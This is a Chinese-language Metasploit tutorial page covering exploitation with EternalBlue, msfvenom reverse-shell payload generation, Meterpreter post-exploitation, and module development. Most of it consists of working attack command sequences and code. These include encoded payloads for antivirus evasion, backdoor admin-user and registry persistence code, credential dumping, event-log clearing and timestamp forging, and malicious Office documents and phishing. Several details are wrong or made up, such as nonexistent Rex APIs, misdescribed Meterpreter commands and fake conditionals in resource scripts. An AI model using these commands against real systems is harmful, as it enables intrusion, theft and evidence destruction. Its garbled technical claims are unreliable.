当前位置: 首页 > news >正文

Day 0015:Metasploit 基础解析

目录

一、理论学习(Metasploit 架构与核心组件)

一、架构设计:分层与模块化

基础层(Ruby 框架):

核心层(模块引擎):

接口层(交互界面):

二、核心组件工作原理

1. 模块(Modules)

2. 数据库(Database)

3. 控制台(Console)

三、Meterpreter 高级功能实战

1. 文件操作

2. 网络操作

3. 系统操作

4. 反取证

5. 横向移动

四、实战案例:渗透测试流程

场景:攻击内网 Windows 域控制器(DC)。

五、注意事项与最佳实践

合法合规:

安全防护:

性能优化:

框架维护:

二、实操演练(Metasploit 框架深度操作)

一、启动与初始化配置

1. 安装与启动

2. 数据库配置

二、核心模块操作流程

1. 模块分类与搜索

2. 漏洞利用实战(以MS17-010为例)

三、Payload生成与监听

1. 生成Payload(msfvenom)

2. 配置监听器

四、后渗透测试(Meterpreter)

1. 会话管理

2. 信息收集与提权

3. 数据窃取与持久化

4. 防御规避

五、自动化与脚本编写

1. Ruby脚本自动化

2. Python集成(RPC API)

六、防御检测与日志清理

1. 流量混淆

2. 日志清理:

七、实战案例解析

案例1:内网渗透测试

案例2:Web应用攻击

八、最佳实践与注意事项

三、复习巩固与扩展场景

1. 常用命令缩写:底层逻辑与实战技巧

(1)命令缩写原理Metasploit 的命令缩写基于唯一前缀匹配。例如:

(2)核心命令详解

2. Meterpreter 常用命令:从原理到实战

(1)进程操作

(2)提权与权限管理

(3)网络操作

(4)反取证

3. 扩展场景:从基础到高阶

(1)绕过防火墙:深度技术解析

(2)多平台攻击:漏洞利用全解析

(3)自动化攻击:从脚本到框架

四、安全与法律考虑

1. 法律与道德准则

2. 安全操作规范

3. 数据保护

五、深入Metasploit模块开发:从底层原理到实战攻防

1. Exploit模块开发进阶

(1)漏洞验证:check方法的实现

(2)复杂漏洞利用

(3)调试技巧

2. Payload模块开发进阶

(1)Stager与Stageless Payload对比

(2)高效汇编编码

(3)反检测技术

3. Auxiliary与Post模块开发

(1)Auxiliary模块:信息收集

(2)Post模块:后渗透操作

4. 跨平台开发

(1)多架构支持

(2)API调用差异处理

5. 实战案例:CVE-2025-XXXX漏洞利用

(1)漏洞背景

(2)模块开发步骤

6. 调试与测试工具链

7. 常见问题解决

(1)模块加载失败

(2)Payload执行失败

(3)反病毒检测

六、高级后渗透技术深度解析

1. 权限提升(Privilege Escalation)

2. 横向移动(Lateral Movement)核心技术

七、社会工程学与Metasploit结合实战

1. 钓鱼邮件生成技术

2. 恶意Office文档生成

八、防御与检测规避策略

1. 绕过杀毒软件技术

2. 绕过防火墙策略

九、自动化与脚本编写进阶

1. Metasploit API(Ruby脚本)高级应用

2. Resource Script(.rc文件)实战

十、案例分析:企业内网渗透全流程

1. 攻击者完整攻击链

2. 防御加固方案

十一、Metasploit高级模块开发(续)

3. 自定义Auxiliary模块

4. 自定义Post模块

十二、高级后渗透技术(续)

2. 持久化控制(续)

3. 横向移动(续)

十三、社会工程学与Metasploit结合(续)

3. 生成恶意PDF文档

4. 生成恶意链接(钓鱼)

十四、防御与检测规避(续)

3. 绕过应用白名单

4. 绕过行为检测

十五、自动化与脚本编写(续)

3. 使用Metasploit API(Python脚本)

4. 编写Resource Script(.rc文件)

十六、案例分析(续)

2. 高级持续性威胁(APT)模拟

十七、Metasploit与其他工具集成

1. Metasploit与Nmap集成

2. Metasploit与Wireshark集成

3. Metasploit与Burp Suite集成

十八、Metasploit最佳实践

1. 渗透测试流程

2. 法律与道德准则

3. 安全操作规范

十九、真实渗透测试案例(续)

3. Web应用渗透测试案例

二十、高级持续性威胁(APT)模拟(续)


理论学习(Metasploit 架构与核心组件)

一、架构设计:分层与模块化

Metasploit 采用分层架构,核心逻辑分为三层:

  1. 基础层(Ruby 框架)

    • 提供模块加载、命令解析、日志记录等底层功能。
    • 通过 Rex 库实现网络通信、协议解析等通用能力。
  2. 核心层(模块引擎)

    • 动态加载和管理模块(Exploit/Payload/Auxiliary/Post)。
    • 处理模块参数配置、依赖检查、攻击链组合。
  3. 接口层(交互界面)

    • 控制台(msfconsole)、Web 界面(msfweb)、API 接口(msgrpc)。
    • 支持工作空间隔离、历史命令记录、脚本自动化(resource 命令)。

模块化设计优势

  • 松耦合:模块独立开发,可通过 make_rc 生成配置文件复用攻击链。
  • 热加载:无需重启即可更新模块(reload_all 命令)。
  • 扩展性:支持通过 msfvenom 生成自定义 Payload,或编写 Ruby 模块扩展功能。

二、核心组件工作原理

1. 模块(Modules)

  • Exploit 模块
    • 漏洞利用流程
      1. 目标探测(如 set RHOSTS 192.168.1.0/24)。
      2. 协议交互(如发送 SMB 协议数据包)。
      3. 触发漏洞(如缓冲区溢出、SQL 注入)。
      4. 交付 Payload(通过 set PAYLOAD 指定)。
    • 高级特性
      • 多目标支持:同一 Exploit 可适配不同 OS/架构(如 Targets 参数)。
      • 自动检查Check 方法验证目标是否脆弱(如 check 命令)。
  • Payload 模块
    • Stager-Stage 架构
      • Stager:轻量级代码(如 reverse_tcp),建立初始连接。
      • Stage:完整功能(如 meterpreter),通过 Stager 传输。
    • 编码与免杀
      • Encoders 对 Payload 加密(如 shikata_ga_nai 支持多态变形)。
      • Nops 填充避免坏字符(如 \x90 填充)。
  • Auxiliary 模块
    • 扫描器原理
      • 端口扫描:SYN/ACK 探测(auxiliary/scanner/portscan/syn)。
      • 服务识别:Banner 抓取(如 auxiliary/scanner/http/http_version)。
    • 密码破解
      • 字典攻击:加载密码字典(set PASS_FILE /usr/share/wordlists/rockyou.txt)。
      • 暴力破解:多线程尝试(set THREADS 10)。
  • Post 模块
    • 权限提升
      • 本地漏洞利用建议器:post/multi/recon/local_exploit_suggester
      • 提权脚本:exploit/windows/local/ms16_032_secondary_logon_handle_privesc
    • 持久化控制
      • 计划任务:post/windows/manage/persistence(注册表/启动项)。
      • 后门植入:post/windows/manage/autoroute(路由劫持)。

2. 数据库(Database)

  • 数据存储结构
    • 主机表(hosts):IP、MAC、OS 指纹。
    • 服务表(services):端口、协议、服务名称。
    • 漏洞表(vulns):CVE 编号、风险等级、验证状态。
    • 会话表(creds):用户名、密码、哈希值。
  • 高级查询
    • 关联分析:vulns -t [CVE] 查找受影响主机。
    • 导出报告:db_export -f csv reports.csv

3. 控制台(Console)

  • 自动化脚本
    • 编写 .rc 文件(如 use exploit/windows/smb/ms17_010_eternalblue)。
    • 批量执行:msfconsole -r script.rc
  • 工作空间管理
    • 隔离项目数据:workspace -a project_alpha
    • 切换环境:workspace project_beta

三、Meterpreter 高级功能实战

1. 文件操作

  • 隐蔽传输
    • 加密通道:set EnableStageEncoding true
    • 分片下载:download -c /etc/shadow(支持断点续传)。

2. 网络操作

  • 端口转发
    • 穿透防火墙:portfwd add -l 8443 -p 443 -r 10.0.0.2(将本机 8443 流量转发到内网 10.0.0.2:443)。
  • 网络嗅探
    • 抓包分析:use auxiliary/sniffer/psnuffle(需管理员权限)。

3. 系统操作

  • 权限提升
    • 令牌窃取:steal_token [PID](模拟其他用户权限)。
    • Bypass UAC:bypassuac 模块(如 exploit/windows/local/bypassuac_injection)。
  • 凭证窃取
    • 内存抓取:hashdump(提取 LSASS 进程中的明文密码)。
    • 浏览器密码:webcam_snap(需配合 post/windows/gather/credentials/chrome)。

4. 反取证

  • 时间戳篡改
    • timestomp -f C:\\Windows\\System32\\calc.exe C:\\Windows\\Temp\\backdoor.exe(伪造文件时间)。
  • 日志清理
    • 清除事件日志:clearev

5. 横向移动

  • Pass-the-Hash
    • 使用哈希认证:use exploit/windows/smb/psexec + set SMBHash ::...
  • 票据传递
    • 金票攻击:use post/windows/gather/credentials/golden_ticket

四、实战案例:渗透测试流程

场景:攻击内网 Windows 域控制器(DC)。

  1. 信息收集
    • 扫描存活主机:db_nmap -sS 192.168.1.0/24
    • 识别 DC:auxiliary/scanner/smb/smb_version(发现 SERVER2019)。
  2. 漏洞利用
    • 使用永恒之蓝:exploit/windows/smb/ms17_010_eternalblue + set PAYLOAD windows/x64/meterpreter/reverse_tcp
  3. 后渗透攻击
    • 提权至 SYSTEM:getsystem
    • 提取域管哈希:hashdump(获取 Administrator:500:...)。
    • 横向移动:use exploit/windows/smb/psexec + set SMBUser Administrator + set SMBPass ...
  4. 持久化控制
    • 创建后门用户:net user backdoor Passw0rd! /add + net localgroup administrators backdoor /add
    • 部署 Cobalt Strike Beacon:execute -f -H -i -m -d calc.exe -a "/c start /b ..."

五、注意事项与最佳实践

  1. 合法合规

    • 仅在授权范围内使用,避免触碰法律红线。
    • 记录测试过程:spool /var/log/metasploit.log
  2. 安全防护

    • 使用免杀 Payload:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe
    • 混淆流量特征:set AutoRunScript post/windows/manage/smart_migrate(自动进程迁移)。
  3. 性能优化

    • 调整线程数:set THREADS 20(根据目标性能调整)。
    • 限制扫描速率:set RPORT 445 + set THREADS 1(避免触发 IDS)。
  4. 框架维护

    • 定期更新:msfupdate(获取最新漏洞模块)。
    • 备份数据库:db_export -f sqlite3 backup.db

实操演练(Metasploit 框架深度操作)

一、启动与初始化配置

1. 安装与启动

  • Kali Linux

    bash

    sudo apt update && sudo apt install metasploit-framework
    msfconsole # 启动控制台
  • Windows
    • 下载安装包(Metasploit官网),配置环境变量。

2. 数据库配置

  • 初始化数据库

    bash

    msfdb init # 首次使用需初始化
    systemctl start postgresql # 启动PostgreSQL服务
    db_status # 验证连接状态(输出示例:[*] postgresql connected to msf)

二、核心模块操作流程

1. 模块分类与搜索

  • 模块类型
    • Exploits:漏洞利用模块(如 exploit/windows/smb/ms17_010_eternalblue)。
    • Auxiliary:辅助模块(端口扫描、服务探测)。
    • Post:后渗透模块(权限提升、数据窃取)。
    • Payloads:攻击载荷(如 windows/meterpreter/reverse_tcp)。
    • Encoders:编码器(绕过杀软检测)。
    • Nops:空指令模块(稳定Payload)。
  • 搜索技巧

    bash

    search ms17_010 # 按漏洞名搜索
    search platform:windows type:exploit # 按平台与类型过滤
    search cve:2021-44228 # 按CVE编号搜索

2. 漏洞利用实战(以MS17-010为例)

  • 步骤
    1. 加载模块并配置参数:

      bash

      use exploit/windows/smb/ms17_010_eternalblue
      set RHOSTS 192.168.1.100 # 目标IP
      set PAYLOAD windows/x64/meterpreter/reverse_tcp # 设置Payload
      set LHOST 192.168.1.101 # 攻击者IP
      set LPORT 4444 # 监听端口
    2. 执行攻击:

      bash

      exploit # 或 run
    3. 成功标志

      bash

      [*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.100:49158)

三、Payload生成与监听

1. 生成Payload(msfvenom)

  • 常用格式

    bash

    # Linux反向TCP
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f elf > shell.elf
    # Windows免杀Payload(编码+RC4加密)
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o shell.exe
  • 高级选项

    bash

    -b "\x00\x0a" # 过滤坏字符
    --smallest # 生成最小Payload

2. 配置监听器

  • 基础配置

    bash

    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.101
    set LPORT 4444
    exploit -j -z # 后台持续监听
  • 持久化监听

    bash

    set ExitOnSession false # 保持监听(即使会话断开)

四、后渗透测试(Meterpreter)

1. 会话管理

  • 基础命令

    bash

    sessions -l # 列出所有会话
    sessions -i 1 # 交互会话1
    background # 会话挂到后台

2. 信息收集与提权

  • 系统信息

    bash

    sysinfo # 系统版本、架构
    getuid # 当前用户权限
    getsystem # 尝试提权至SYSTEM(Windows)
  • 网络信息

    bash

    netstat # 查看网络连接
    arp # 显示ARP缓存

3. 数据窃取与持久化

  • 文件操作

    bash

    download C:\\Users\\Admin\\desktop\\passwords.txt # 下载文件
    upload /root/keylogger.exe C:\\Windows\\ # 上传文件
  • 持久化后门

    bash

    persistence -S -U -i 10 -p 443 -r 192.168.1.101 # 创建开机启动后门

4. 防御规避

  • 编码与加密

    bash

    # 生成编码后的Payload
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded.exe
  • 流量加密

    bash

    # 使用RC4加密通信
    set EnableStageEncoding true
    set StageEncoder x86/fnstenv_mov

五、自动化与脚本编写

1. Ruby脚本自动化

  • 示例脚本

    ruby

    framework = Msf::Simple::Framework.create
    exploit = framework.modules.create('exploit/windows/smb/ms17_010_eternalblue')
    exploit.datastore['RHOSTS'] = '192.168.1.100'
    exploit.datastore['PAYLOAD'] = 'windows/x64/meterpreter/reverse_tcp'
    exploit.datastore['LHOST'] = '192.168.1.101'
    exploit.execute(nil)

2. Python集成(RPC API)

  • 基础代码

    python

    from msfrpc import MsfRpcClient
    client = MsfRpcClient('password', port=55553) # 默认密码:msf
    console_id = client.consoles.console().cid
    client.consoles.console(console_id).write('use exploit/windows/smb/ms17_010_eternalblue\n')
    client.consoles.console(console_id).write('set RHOSTS 192.168.1.100\n')
    client.consoles.console(console_id).write('exploit\n')

六、防御检测与日志清理

1. 流量混淆

  • 使用HTTPS/DNS隧道

    bash

    set PAYLOAD windows/meterpreter/reverse_https
    set HandlerSSLCert /path/to/cert.pem # 自定义证书

2. 日志清理

  • 清除事件日志(Windows)

    bash

    clearev # 清除应用程序、系统、安全日志
  • 删除痕迹文件

    bash

    rm /tmp/shell.elf # 删除上传的Payload

七、实战案例解析

案例1:内网渗透测试

  1. 信息收集
    • 使用Nmap扫描内网段:nmap -sS 192.168.1.0/24
    • 导入结果到Metasploit:db_import nmap_scan.xml
  2. 漏洞利用
    • 发现目标主机开放445端口,使用MS17-010模块获取SYSTEM权限。
  3. 横向移动
    • 通过Meterpreter的ps命令查找域控进程,使用migrate迁移至高权限进程。
  4. 数据窃取
    • 使用hashdump提取NTLM哈希,配合secretsdump.py破解密码。

案例2:Web应用攻击

  1. 漏洞探测
    • 使用auxiliary/scanner/http/http_version识别Web服务器类型。
    • 搜索对应漏洞模块(如PHP远程代码执行)。
  2. Payload植入
    • 生成Webshell(如PHP格式):

      bash

      msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f raw > shell.php
  3. 持久化控制
    • 修改Web目录权限,设置定时任务反弹Shell。

八、最佳实践与注意事项

  1. 合法授权:仅在测试目标系统时使用Metasploit,避免未经授权的攻击。
  2. 模块更新:定期执行msfupdate更新漏洞库。
  3. 日志记录:启用Metasploit日志功能(setg LogLevel 3)以便审计。
  4. 资源释放:测试完成后使用jobs -K清理后台任务。

三、复习巩固与扩展场景

1. 常用命令缩写:底层逻辑与实战技巧

(1)命令缩写原理
Metasploit 的命令缩写基于唯一前缀匹配。例如:

  • search 可缩写为 s(因无其他命令以 s 开头)。
  • use 可缩写为 u,但 set 无缩写(因 se 可能匹配 sessions)。

(2)核心命令详解

完整命令缩写完整语法示例实战技巧
searchss type:exploit platform:windows结合 type:platform: 精准过滤模块。
useuu exploit/windows/smb/ms17_010_eternalblue加载模块后,按 Tab 键可自动补全参数。
setset RHOSTS 192.168.1.100必填参数(如 RHOSTS)需优先设置。
exploitrunexploit -j(后台运行)结合 -z 参数不捕获会话(适合 DoS 攻击)。
sessionssesses -i 1(交互指定会话)批量操作会话:ses -K 终止所有会话。
backgroundbgbg(后台挂起当前会话)结合 sessions -l 查看后台会话列表。
help??(全局帮助) / exploit?(模块帮助)模块专属帮助需在 use 后使用。
routerroute add 10.0.0.0 255.0.0.0 1添加内网路由后,用 run autoroute -p 验证。

2. Meterpreter 常用命令:从原理到实战

(1)进程操作

  • ps 命令
    ps 实际调用目标系统的 CreateToolhelp32Snapshot API 枚举进程。
    高级用法

    meterpreter

    ps | grep chrome # 过滤 Chrome 进程
    migrate [PID] # 迁移到高权限进程(如 winlogon.exe)
  • kill 命令
    底层调用 TerminateProcess API,但需注意:

    • 终止关键系统进程(如 lsass.exe)可能导致蓝屏。
    • 结合 steal_token [PID] 窃取令牌后,可绕过部分权限检查。

(2)提权与权限管理

  • getsystem 原理
    通过多种技术尝试提权,包括:

    • Named Pipe Impersonation(默认)
    • Token Kidnapping
    • BypassUAC
      失败应对

    meterpreter

    getprivs # 查看当前权限
    use incognito # 加载令牌伪造模块
    list_tokens -u # 列出可用令牌
    impersonate_token "NT AUTHORITY\\SYSTEM" # 伪造 SYSTEM 令牌
  • rev2self 场景
    在权限滥用后(如 getsystem 失败),需降权以避免检测。

(3)网络操作

  • ifconfig 输出解析

    meterpreter

    Interface 1
    ------------
    Name : Intel(R) Ethernet Connection
    Hardware MAC : 00:0c:29:xx:xx:xx
    IP Address : 192.168.1.100
    Netmask : 255.255.255.0
  • route 实战

    meterpreter

    route add 172.16.0.0 255.240.0.0 1 # 添加内网路由
    route print # 验证路由
    portfwd add -l 3389 -r 172.16.1.10 -p 3389 # 端口转发

(4)反取证

  • clearev 风险
    清除事件日志会触发 Event Log Service 异常,需配合 timestomp 修改文件时间戳。

3. 扩展场景:从基础到高阶

(1)绕过防火墙:深度技术解析

Reverse_HTTPS Payload 原理

  • 使用 HTTPS 协议封装 Meterpreter 通信,流量特征类似正常 Web 流量。
  • 防御检测点
    • SNI 证书校验
    • 流量基线异常(如频繁的小数据包)
  • 进阶绕过

    bash

    msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.101 LPORT=443 -f exe -o shell.exe --encoder x86/shikata_ga_nai

Reverse_WinHTTP Payload 特性

  • 调用 Windows 原生 WinHTTP 库,绕过部分 EDR 的 API 钩子。
  • 局限性
    • 仅支持 HTTP/HTTPS 协议
    • 需目标系统启用 WinHTTP 服务

(2)多平台攻击:漏洞利用全解析

永恒之蓝漏洞(MS17-010)细节

  • 漏洞成因:SMBv1 协议处理畸形请求时的堆溢出。
  • 利用条件
    • 目标开放 445 端口
    • 未安装 MS17-010 补丁
  • Post-Exploitation

    meterpreter

    run post/windows/gather/enum_patches # 枚举已安装补丁
    run post/windows/manage/migrate_process # 迁移进程

Stagefright 漏洞(CVE-2015-3864)利用链

  1. 发送恶意 MP4 文件(含畸形 stts 原子)。
  2. 目标解析时触发堆溢出。
  3. 覆盖函数指针,执行 Shellcode。
  • 防御绕过
    • 混淆 MP4 文件头(如添加随机元数据)。
    • 使用 polymorphic Shellcode 避免签名检测。

(3)自动化攻击:从脚本到框架

Resource Script 高级用法

  • 变量传递

    bash

    # auto_attack.rc
    set RHOSTS 192.168.1.100
    use exploit/windows/smb/ms17_010_eternalblue
    exploit

    执行:msfconsole -r auto_attack.rc -L /var/log/msf(记录日志)。

  • 条件判断

    bash

    # conditional_attack.rc
    use auxiliary/scanner/smb/smb_version
    set RHOSTS 192.168.1.0/24
    run
    if "Windows 7" {
    use exploit/windows/smb/ms17_010_eternalblue
    exploit
    }

Metasploit API 开发实战

  • Ruby 脚本框架

    ruby

    framework = Msf::Simple::Framework.create
    exploit = framework.modules.create('exploit/windows/smb/ms17_010_eternalblue')
    exploit.datastore['RHOSTS'] = '192.168.1.100'
    exploit.datastore['PAYLOAD'] = 'windows/meterpreter/reverse_tcp'
    exploit.run_simple('LocalInput' => driver.input, 'LocalOutput' => driver.output)
  • 集成外部数据源

    ruby

    # 从 CSV 读取目标列表
    require 'csv'
    CSV.foreach('targets.csv') do |row|
    exploit.datastore['RHOSTS'] = row[0]
    exploit.run_simple(...)
    end

自动化攻击最佳实践

  1. 模块化设计:将不同攻击阶段(侦察、利用、后渗透)拆分为独立脚本。
  2. 日志记录:启用 -L 参数记录所有操作,便于审计。
  3. 错误处理:在脚本中添加 begin-rescue 块捕获异常。
  4. 速率限制:避免对目标网络造成过大压力(如 setg BatchSize 10)。

四、安全与法律考虑

1. 法律与道德准则

  • 遵守法律法规:仅在授权范围内进行渗透测试,禁止用于非法用途。
  • 明确测试范围:与委托方签订正式合同,明确测试目标、时间、方法和报告要求。
  • 最小化损害:避免对目标系统造成不必要的损害(如数据泄露、服务中断)。

2. 安全操作规范

  • 使用虚拟机环境:在隔离的虚拟机(如 VMware、VirtualBox)中进行测试,避免影响物理机。
  • 禁用危险模块:通过 msfconsole 的 -q 参数跳过欢迎信息,或使用 -x 参数执行初始化脚本(如禁用自动运行模块)。
  • 清理测试痕迹:测试完成后,使用 clearev 清除事件日志,删除上传的文件和进程。

3. 数据保护

  • 加密通信:使用 reverse_https 或 reverse_winhttps Payload 加密通信流量。
  • 匿名化处理:在测试报告中匿名化处理敏感信息(如 IP 地址、域名、用户名)。
  • 数据备份:在测试前对目标系统进行完整备份,以便在发生意外时快速恢复。

五、深入Metasploit模块开发:从底层原理到实战攻防

Metasploit的模块化架构是其核心竞争力的来源。通过自定义Exploit、Payload、Auxiliary和Post模块,用户可以精准适配各类攻击场景。以下从底层原理、开发细节、调试技巧、反检测策略四个维度展开,结合实战案例,呈现模块开发的完整链路。

1. Exploit模块开发进阶

(1)漏洞验证:check方法的实现

  • 作用:在攻击前验证目标是否易受攻击。
  • 示例代码

    ruby

def check
connect
banner = sock.get_once || ''
disconnect
if banner =~ /VulnerableApp 1\.0/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

  • 高级用法
    • 结合Nmap脚本结果(如Nmap::Parser.new(nmap_xml))。
    • 使用Metasploit::Module::KnownVulnerabilities集成CVE信息。

(2)复杂漏洞利用

  • 堆溢出

    ruby

# 伪代码:构造堆喷射数据
heap_spray = Rex::Text.pattern_create(0x1000) # 生成模式数据
heap_spray += [target.ret].pack('V') * 0x100 # 覆盖函数指针
sock.put(heap_spray)

  • UAF(Use-After-Free)

    ruby

# 伪代码:触发UAF
trigger_uaf = "\xde\xad\xbe\xef" * 0x100
sock.put(trigger_uaf)
# 等待目标释放内存后,覆盖虚函数表

    (3)调试技巧

    • Metasploit日志系统

      ruby

      vprint_good("Debug info: #{sensitive_data}") # 仅调试模式显示
      report_note(host: rhost, data: 'Compromised') # 记录攻击结果
    • 联合调试
      1. 在Exploit模块中添加sleep(10)
      2. 目标机执行gdb -p $(pgrep vulnerable_app)
      3. 攻击机执行continue恢复进程。

    2. Payload模块开发进阶

    (1)Stager与Stageless Payload对比

    特性StagerStageless
    体积小(<500字节)大(含完整功能)
    连接稳定性依赖Stage下载独立
    适用场景网络受限环境高带宽环境
    反检测隐蔽性强易被EDR拦截

    (2)高效汇编编码

    • 减小体积技巧

      ruby

    # 传统方式
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"# 优化后(使用syscall指令)
    "\x48\x31\xff\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

    • 工具辅助

      bash

      nasm -f elf32 shellcode.asm # 汇编代码编译
      objdump -d shellcode.o # 查看反汇编

    (3)反检测技术

    • 代码混淆

      ruby

    obfuscated_code = Rex::Exploitation::Obfuscate.string(payload.encoded)

    • ROP链构建

      ruby

    rop = RopDb.new('linux/x86')
    rop.add('pop eax; ret')
    rop.add('/bin/sh')
    rop.execute # 生成ROP链

    ​​​​​

      3. Auxiliary与Post模块开发

      (1)Auxiliary模块:信息收集

      • 示例:SMB版本扫描

        ruby

      class MetasploitModule < Msf::Auxiliary
      def initialize(info = {})
      super(update_info(info,
      'Name' => 'SMB Version Scanner',
      'Description' => 'Detect SMB version',
      'Author' => ['Your Name'],
      'License' => MSF_LICENSE))
      register_options([Opt::RPORT(445)])
      enddef run_host(ip)
      connector = Rex::Proto::SMB::Client.new(ip: ip, port: rport)
      begin
      connector.login('guest', '')
      version = connector.dialect
      print_good("#{ip} uses SMB #{version}")
      rescue
      print_error("#{ip} SMB service unavailable")
      end
      end
      end

        (2)Post模块:后渗透操作

        • 示例:持久化Backdoor

          ruby

        class MetasploitModule < Msf::Post
        def initialize(info = {})
        super(update_info(info,
        'Name' => 'Custom Persistence',
        'Description' => 'Install backdoor',
        'License' => MSF_LICENSE))
        enddef run
        # Windows示例:注册表自启动
        registry_key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run'
        registry_value = 'Updater'
        registry_data = 'C:\Windows\System32\backdoor.exe'
        client.sys.registry.write_key(registry_key, registry_value, registry_data)
        end
        end

          4. 跨平台开发

          (1)多架构支持

          • 条件编译示例

            ruby

          if datastore['PLATFORM'] == 'windows'
          arch = ARCH_X86
          payload = generate_payload_exe
          else
          arch = ARCH_X64
          payload = generate_payload_elf
          end

            (2)API调用差异处理

            • Windows vs Linux

              ruby

            if windows?
            # 调用Win32 API
            handle = kernel32.CreateFileW(path, ...)
            else
            # 调用Linux系统调用
            syscall(__NR_open, path, ...)
            end

              5. 实战案例:CVE-2025-XXXX漏洞利用

              (1)漏洞背景

              • 某网络服务存在堆溢出漏洞,攻击者可覆盖函数指针执行任意代码。

              (2)模块开发步骤

              1. Exploit模块
                • 使用check方法验证目标版本。
                • 构造堆喷射数据,覆盖虚函数表。
                • 调用execute方法触发漏洞。
              2. Payload模块
                • 开发Stager建立反向TCP连接。
                • 使用ROP链绕过DEP保护。
              3. 测试与调试
                • 在测试环境(Ubuntu 20.04)验证。
                • 使用gdb分析崩溃点,调整偏移量。

              6. 调试与测试工具链

              工具高级用法示例命令/操作
              msfconsole启用调试模式msfconsole -d
              gdb附加到进程并设置断点gdb -p $(pgrep vulnerable_app) -ex 'b *0x08048000'
              Wireshark过滤特定会话流量tcp.port == 4444 && ip.addr == 192.168.1.100
              msfvenom生成多平台Payloadmsfvenom -p windows/x64/meterpreter/reverse_https -f exe -o payload.exe
              strace跟踪系统调用参数strace -e trace=open,read,write -f -s 1024 ./app

              7. 常见问题解决

              (1)模块加载失败

              • 错误Failed to load module
              • 排查步骤
                1. 检查Ruby语法:ruby -c module.rb
                2. 验证模块路径:modules/exploits/platform/vendor/module.rb
                3. 查看详细日志:msfconsole -d

              (2)Payload执行失败

              • 错误Exploit failed: No session
              • 解决方案
                1. 检查网络连通性:telnet target 4444
                2. 绕过防火墙:使用reverse_httpsreverse_winhttp
                3. 调整Payload选项:set ExitOnSession false

              (3)反病毒检测

              • 现象:Payload被删除或隔离。
              • 对策
                1. 使用shikata_ga_nai编码器。
                2. 加密Payload:Rex::Encryption::AES.encrypt(payload, key)
                3. 混淆代码:Rex::Exploitation::Obfuscate.string(payload)

              六、高级后渗透技术深度解析

              1. 权限提升(Privilege Escalation)

              本地提权漏洞利用原理

              • MS16-032(Windows)
                • 漏洞成因:该漏洞源于Windows Secondary Logon服务在处理特权提升请求时未正确验证请求的来源和权限。攻击者可通过构造恶意请求触发内存破坏,从而获得SYSTEM权限。
                • 利用细节
                  • 攻击者首先需获取目标系统的shell权限。
                  • 使用Metasploit的use exploit/windows/local/ms16_032模块进行利用。
                  • 在利用过程中,需确保目标系统未安装KB3143141补丁。
                  • 漏洞利用成功后,攻击者可获得SYSTEM权限,进而控制整个系统。
                • 防御措施
                  • 及时安装微软发布的KB3143141补丁。
                  • 加强系统监控,及时发现并阻止异常权限提升行为。
              • Dirty COW(Linux)
                • 漏洞成因:该漏洞利用Linux内核的写时复制(Copy-on-Write)机制缺陷。当多个进程同时尝试修改同一内存页面时,内核可能因竞争条件而错误地处理写操作,导致权限提升。
                • 利用细节
                  • 攻击者需找到目标系统中可写的内存映射文件。
                  • 通过构造特定的系统调用序列触发竞争条件,修改文件内容。
                  • 例如,攻击者可将自身用户权限提升至root。
                • 防御措施
                  • 及时更新Linux内核至最新版本。
                  • 加强系统安全配置,限制用户权限。
                  • 避免使用弱加密算法。

              持久化控制(Persistence)进阶

              • 计划任务(Windows)
                • 高级配置
                  • 通过Windows任务计划程序,攻击者可设置任务在特定条件(如每日、每周、每月或特定事件发生时)下执行恶意程序。
                  • 配置任务在计算机空闲时或网络连接可用时执行,以增强隐蔽性。
                • 实战案例
                  • 攻击者使用Metasploit的use post/windows/manage/persistence模块创建计划任务。
                  • 设置Payload为反向TCP连接,以便在任务执行时建立持久化控制通道。
              • 注册表自启动(Windows)
                • 键值区别
                  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run键值适用于所有用户。
                  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run键值仅适用于当前用户。
                • 混淆技术
                  • 为避免被安全软件检测到,攻击者可将恶意程序路径伪装成系统进程(如C:\Windows\System32\svchost.exe)。
                  • 结合代码注入技术隐藏真实行为。
              2. 横向移动(Lateral Movement)核心技术

              Pass-The-Hash(PtH)攻击原理

              • 攻击流程
                • 攻击者通过漏洞利用或社会工程学手段获取目标内网主机的控制权,并提权至System权限。
                • 使用mimikatz等工具提取本地存储的NTLM哈希值。
                • 利用这些哈希值通过SMB、RDP等协议对其他系统发起身份验证,实现横向移动。
              • 防御建议
                • 禁用NTLM协议,强制使用Kerberos认证。
                • 启用SMB签名与加密。
                • 限制本地管理员权限。
                • 监控LSASS进程的异常访问。

              Pass-The-Ticket(PtT)攻击流程

              • 攻击流程
                • 攻击者通过提取目标主机的Kerberos票据。
                • 利用该票据进行身份验证,从而无需密码即可访问其他系统。
                • 票据可通过mimikatzkerberos::list /export命令导出。
                • 通过psexec等工具传递票据。
              • 检测规避
                • 使用加密通信或隧道技术隐藏票据传递过程。

              七、社会工程学与Metasploit结合实战

              1. 钓鱼邮件生成技术
              • 目标定位
                • 攻击者需根据目标岗位(如HR、财务)定制钓鱼邮件内容。
                • 针对HR岗位,可伪装成简历附件。
                • 针对财务岗位,可伪装成报销材料或财务报表。
              • 内容优化
                • 邮件内容需简洁明了,诱导用户点击运行恶意附件。
                • 结合社会工程学手段,如假冒运维账号发送“系统漏洞补丁”邮件。
              2. 恶意Office文档生成
              • 嵌入技术
                • 攻击者可通过在Office文档中嵌入恶意VBA代码或宏病毒。
                • 实现远程代码执行。
                • 使用msfvenom生成包含反向Shell的Office文档。
              • 混淆技术
                • 使用代码混淆技术隐藏恶意代码的真实意图。
